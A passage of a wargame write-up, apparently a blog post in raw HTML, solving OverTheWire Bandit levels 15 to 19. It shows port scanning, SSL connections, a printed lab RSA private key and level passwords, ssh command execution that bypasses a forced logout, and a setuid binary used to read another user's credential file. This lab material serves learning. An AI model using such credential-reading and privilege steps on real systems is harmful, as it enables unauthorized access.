&lt;p&gt;The password for the next level can be retrieved by submitting the password of the current level to port &lt;code&gt;30001&lt;/code&gt; on localhost using SSL encryption.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="solution-5"&gt;
Solution
&lt;a href="#solution-5" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Log in to &lt;code&gt;bandit15&lt;/code&gt;, using the password found from Level 14:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ssh -p &lt;span style="color:#ae81ff"&gt;2220&lt;/span&gt; bandit15@bandit.labs.overthewire.org
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We cannot use &lt;code&gt;nc&lt;/code&gt; now, because we use SSL encryption. To do that, we use the &lt;code&gt;s_client&lt;/code&gt; from &lt;code&gt;openssl&lt;/code&gt; in order to connect to port &lt;code&gt;30001&lt;/code&gt; on localhost and paste the password from the current level:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;bandit15@bandit:~$ openssl s_client -connect localhost:30001
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;CONNECTED&lt;span style="color:#f92672"&gt;(&lt;/span&gt;00000003&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;BfMYroe26WYalil77FoDi9qh59eK5xNr
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Correct!
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cluFn7wTiGryunymYOu4RcffSxQluehd
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;closed
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="level-16"&gt;
Level 16
&lt;a href="#level-16" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;h3 id="level-goal-6"&gt;
Level Goal
&lt;a href="#level-goal-6" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;The credentials for the next level can be retrieved by submitting the password of the current level to a port on localhost in the range 31000 to 32000. First find out which of these ports have a server listening on them. Then find out which of those speak SSL and which don’t. There is only 1 server that will give the next credentials, the others will simply send back to you whatever you send to it.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="solution-6"&gt;
Solution
&lt;a href="#solution-6" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Log in to &lt;code&gt;bandit16&lt;/code&gt;, using the password found from Level 15:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ssh -p &lt;span style="color:#ae81ff"&gt;2220&lt;/span&gt; bandit16@bandit.labs.overthewire.org
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;First, we scan all the ports from 31000 to 32000 with &lt;code&gt;nmap&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;nmap -sT -p31000-32000 localhost
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And we get the following results:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;bandit16@bandit:~$ nmap -sT -p31000-32000 localhost
Starting Nmap 7.40 ( https://nmap.org ) at 2021-04-18 21:57 CEST
Nmap scan report for localhost (127.0.0.1)
Host is up (0.00027s latency).
Not shown: 996 closed ports
PORT STATE SERVICE
31046/tcp open unknown
31518/tcp open unknown
31691/tcp open unknown
31790/tcp open unknown
31960/tcp open unknown
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Then try to connect to all of these services with &lt;code&gt;openssl s_sclient&lt;/code&gt; in order to check if they speak SSL:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;openssl s_client -connect localhost:PORT
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;After checking all of them, only these accept SSL connection:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;31518&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;31790&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;After entering the current level&amp;rsquo;s password the correct service is the one on port &lt;code&gt;31790&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;bandit16@bandit:~$ openssl s_client -connect localhost:31790
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;CONNECTED&lt;span style="color:#f92672"&gt;(&lt;/span&gt;00000003&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# ...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cluFn7wTiGryunymYOu4RcffSxQluehd
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Correct!
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;-----BEGIN RSA PRIVATE KEY-----
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;MIIEogIBAAKCAQEAvmOkuifmMg6HL2YPIOjon6iWfbp7c3jx34YkYWqUH57SUdyJ
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;imZzeyGC0gtZPGujUSxiJSWI/oTqexh+cAMTSMlOJf7+BrJObArnxd9Y7YT2bRPQ
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Ja6Lzb558YW3FZl87ORiO+rW4LCDCNd2lUvLE/GL2GWyuKN0K5iCd5TbtJzEkQTu
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;DSt2mcNn4rhAL+JFr56o4T6z8WWAW18BR6yGrMq7Q/kALHYW3OekePQAzL0VUYbW
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;JGTi65CxbCnzc/w4+mqQyvmzpWtMAzJTzAzQxNbkR2MBGySxDLrjg0LWN6sK7wNX
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;x0YVztz/zbIkPjfkU1jHS+9EbVNj+D1XFOJuaQIDAQABAoIBABagpxpM1aoLWfvD
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;KHcj10nqcoBc4oE11aFYQwik7xfW+24pRNuDE6SFthOar69jp5RlLwD1NhPx3iBl
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;J9nOM8OJ0VToum43UOS8YxF8WwhXriYGnc1sskbwpXOUDc9uX4+UESzH22P29ovd
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;d8WErY0gPxun8pbJLmxkAtWNhpMvfe0050vk9TL5wqbu9AlbssgTcCXkMQnPw9nC
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;YNN6DDP2lbcBrvgT9YCNL6C+ZKufD52yOQ9qOkwFTEQpjtF4uNtJom+asvlpmS8A
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;vLY9r60wYSvmZhNqBUrj7lyCtXMIu1kkd4w7F77k+DjHoAXyxcUp1DGL51sOmama
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;+TOWWgECgYEA8JtPxP0GRJ+IQkX262jM3dEIkza8ky5moIwUqYdsx0NxHgRRhORT
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;8c8hAuRBb2G82so8vUHk/fur85OEfc9TncnCY2crpoqsghifKLxrLgtT+qDpfZnx
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;SatLdt8GfQ85yA7hnWWJ2MxF3NaeSDm75Lsm+tBbAiyc9P2jGRNtMSkCgYEAypHd
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;HCctNi/FwjulhttFx/rHYKhLidZDFYeiE/v45bN4yFm8x7R/b0iE7KaszX+Exdvt
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;SghaTdcG0Knyw1bpJVyusavPzpaJMjdJ6tcFhVAbAjm7enCIvGCSx+X3l5SiWg0A
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;R57hJglezIiVjv3aGwHwvlZvtszK6zV6oXFAu0ECgYAbjo46T4hyP5tJi93V5HDi
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Ttiek7xRVxUl+iU7rWkGAXFpMLFteQEsRr7PJ/lemmEY5eTDAFMLy9FL2m9oQWCg
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;R8VdwSk8r9FGLS+9aKcV5PI/WEKlwgXinB3OhYimtiG2Cg5JCqIZFHxD6MjEGOiu
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;L8ktHMPvodBwNsSBULpG0QKBgBAplTfC1HOnWiMGOU3KPwYWt0O6CdTkmJOmL8Ni
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;blh9elyZ9FsGxsgtRBXRsqXuz7wtsQAgLHxbdLq/ZJQ7YfzOKU4ZxEnabvXnvWkU
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;YOdjHdSOoKvDQNWu6ucyLRAWFuISeXw9a/9p7ftpxm0TSgyvmfLF2MIAEwyzRqaM
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;77pBAoGAMmjmIJdjp+Ez8duyn3ieo36yrttF5NSsJLAbxFpdlc1gvtGCWW+9Cq0b
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;dxviW8+TFVEBl1O4f7HVm6EpTscdDxU+bCXWkfjuRb7Dy9GOtt9JPsX8MBTakzh3
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;vBgsyi/sN3RqRBcGU40fOoZyfAMT8s1m/uYv52O6IgeuZ/ujbjY&lt;span style="color:#f92672"&gt;=&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;-----END RSA PRIVATE KEY-----
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;closed
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Save the previous private key in a file in &lt;code&gt;/tmp&lt;/code&gt; directory:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;vim /tmp/sshkey17.private
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Change the permissions so that it is not accessible by others:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;chmod &lt;span style="color:#ae81ff"&gt;600&lt;/span&gt; /tmp/ssh17.private
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We login to the current server as &lt;code&gt;bandit17&lt;/code&gt; using the SSH key:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ssh -i /tmp/ssh17.private bandit17@localhost
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now we can view the password with &lt;code&gt;cat&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;bandit17@bandit:~$ cat /etc/bandit_pass/bandit17
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;xLYVMN9WE5zQ5vHacb0sZEVqbrp7nBTn
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="level-17"&gt;
Level 17
&lt;a href="#level-17" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;h3 id="level-goal-7"&gt;
Level Goal
&lt;a href="#level-goal-7" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;There are 2 files in the homedirectory: &lt;code&gt;passwords.old&lt;/code&gt; and &lt;code&gt;passwords.new&lt;/code&gt;. The password for the next level is in passwords.new and is the only line that has been changed between &lt;code&gt;passwords.old&lt;/code&gt; and &lt;code&gt;passwords.new&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="solution-7"&gt;
Solution
&lt;a href="#solution-7" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Log in to &lt;code&gt;bandit17&lt;/code&gt;, using the password found from Level 16:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ssh -p &lt;span style="color:#ae81ff"&gt;2220&lt;/span&gt; bandit17@bandit.labs.overthewire.org
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We just &lt;code&gt;diff&lt;/code&gt; the two files:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;bandit17@bandit:~$ diff passwords.old passwords.new
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;42c42
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt; w0Yfolrc5bwjS4qw5mq1nnQi6mF03bii
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;---
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;gt; kfBf3eYk5BPBRzwjqutbbfE887SVc5Yd
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;The line with &lt;code&gt;&amp;lt;&lt;/code&gt; is from the first file (&lt;code&gt;passwords.old&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;The line with &lt;code&gt;&amp;gt;&lt;/code&gt; is from the second file (&lt;code&gt;passwords.new&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;NOTE: if you have solved this level and see ‘Byebye!’ when trying to log into &lt;code&gt;bandit18&lt;/code&gt;, this is related to the next level, &lt;code&gt;bandit19&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id="level-18"&gt;
Level 18
&lt;a href="#level-18" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;h3 id="level-goal-8"&gt;
Level Goal
&lt;a href="#level-goal-8" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;The password for the next level is stored in a file readme in the homedirectory. Unfortunately, someone has modified &lt;code&gt;.bashrc&lt;/code&gt; to log you out when you log in with SSH.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="solution-8"&gt;
Solution
&lt;a href="#solution-8" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Log in to &lt;code&gt;bandit18&lt;/code&gt;, using the password found from Level 17:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ssh -p &lt;span style="color:#ae81ff"&gt;2220&lt;/span&gt; bandit18@bandit.labs.overthewire.org
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If we try to SSH (either remotely or from localhost), we get:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;bandit17@bandit:~$ ssh bandit18@localhost
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# ...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Byebye !
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Connection to localhost closed.
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;But we don&amp;rsquo;t need to login, we can just run the &lt;code&gt;cat&lt;/code&gt; command on the &lt;code&gt;readme&lt;/code&gt; through &lt;code&gt;ssh&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;bandit17@bandit:~$ ssh bandit18@localhost &lt;span style="color:#e6db74"&gt;&amp;#34;cat readme&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;The authenticity of host &lt;span style="color:#e6db74"&gt;&amp;#39;localhost (127.0.0.1)&amp;#39;&lt;/span&gt; can&lt;span style="color:#e6db74"&gt;&amp;#39;t be established.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;ECDSA key fingerprint is SHA256:98UL0ZWr85496EtCRkKlo20X3OPnyPSB5tB5RPbhczc.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;Are you sure you want to continue connecting (yes/no)? yes
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;Failed to add the host to the list of known hosts (/home/bandit17/.ssh/known_hosts).
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;This is a OverTheWire game server. More information on http://www.overthewire.org/wargames
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;@ WARNING: UNPROTECTED PRIVATE KEY FILE! @
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;Permissions 0640 for &amp;#39;&lt;/span&gt;/home/bandit17/.ssh/id_rsa&lt;span style="color:#e6db74"&gt;&amp;#39; are too open.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;It is required that your private key files are NOT accessible by others.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;This private key will be ignored.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;Load key &amp;#34;/home/bandit17/.ssh/id_rsa&amp;#34;: bad permissions
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;bandit18@localhost&amp;#39;&lt;/span&gt;s password:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;IueksS7Ubh8G3DCwVzrTd8rAVOwq3M5x
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="level-19"&gt;
Level 19
&lt;a href="#level-19" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;h3 id="level-goal-9"&gt;
Level Goal
&lt;a href="#level-goal-9" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;To gain access to the next level, you should use the setuid binary in the homedirectory. Execute it without arguments to find out how to use it. The password for this level can be found in the usual place (&lt;code&gt;/etc/bandit_pass&lt;/code&gt;), after you have used the setuid binary.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="solution-9"&gt;
Solution
&lt;a href="#solution-9" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Log in to &lt;code&gt;bandit19&lt;/code&gt;, using the password found from Level 18:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ssh -p &lt;span style="color:#ae81ff"&gt;2220&lt;/span&gt; bandit19@bandit.labs.overthewire.org
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If we check at the binary permissions:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;bandit19@bandit:~$ ls -al
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;total &lt;span style="color:#ae81ff"&gt;28&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;drwxr-xr-x &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt; root root &lt;span style="color:#ae81ff"&gt;4096&lt;/span&gt; May &lt;span style="color:#ae81ff"&gt;7&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2020&lt;/span&gt; .
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;drwxr-xr-x &lt;span style="color:#ae81ff"&gt;41&lt;/span&gt; root root &lt;span style="color:#ae81ff"&gt;4096&lt;/span&gt; May &lt;span style="color:#ae81ff"&gt;7&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2020&lt;/span&gt; ..
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;-rwsr-x--- &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; bandit20 bandit19 &lt;span style="color:#ae81ff"&gt;7296&lt;/span&gt; May &lt;span style="color:#ae81ff"&gt;7&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2020&lt;/span&gt; bandit20-do
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;-rw-r--r-- &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; root root &lt;span style="color:#ae81ff"&gt;220&lt;/span&gt; May &lt;span style="color:#ae81ff"&gt;15&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2017&lt;/span&gt; .bash_logout
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;-rw-r--r-- &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; root root &lt;span style="color:#ae81ff"&gt;3526&lt;/span&gt; May &lt;span style="color:#ae81ff"&gt;15&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2017&lt;/span&gt; .bashrc
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;-rw-r--r-- &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; root root &lt;span style="color:#ae81ff"&gt;675&lt;/span&gt; May &lt;span style="color:#ae81ff"&gt;15&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2017&lt;/span&gt; .profile
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We can see it has the setuid bit set. This means that anyone who executes this binary, it executes it with &lt;code&gt;bandit20&lt;/code&gt; user&amp;rsquo;s privileges.&lt;/p&gt;
&lt;p&gt;So we use the binary to cat the password on &lt;code&gt;/etc/bandit_pass/bandit20&lt;/code&gt;:&lt;/p&gt;
